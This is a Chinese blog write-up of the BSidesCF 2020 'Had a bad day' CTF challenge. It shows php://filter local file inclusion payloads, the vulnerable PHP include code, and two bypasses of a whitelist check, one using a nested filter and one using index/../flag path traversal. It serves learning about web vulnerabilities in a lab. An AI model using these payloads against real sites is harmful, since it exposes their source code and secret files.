Z1d10tのBlog

A note for myself,have fun!

[BSidesCF 2020]Had a bad day

打开抓包没有发现什么异常的东西,但是网站获取新页面方式有点奇怪,通过get传参取值来获取新内容,就联想到了伪协议。

直接试试flag.php

img

不行呢就试试index.php

img

发现后台主动给我们加了.php后缀

构造payload:?category=php://filter/read=convert.base64-encode/resource=index

获得base64码解码得出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
          <?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

我们只能读取他规定的woofers meowers index 三个文件

看了别人的wp 又学到了新姿势 伪协议里面还可以再嵌套一层协议 加上他给的合法文件

1
?category=php://filter/read=convert.base64-encode/index/resource=flag

?category=php://filter/read=convert.base64-encode/resource=index/../flag 两种方式都可以 学到了

本文最后更新于 天前,文中所描述的信息可能已发生改变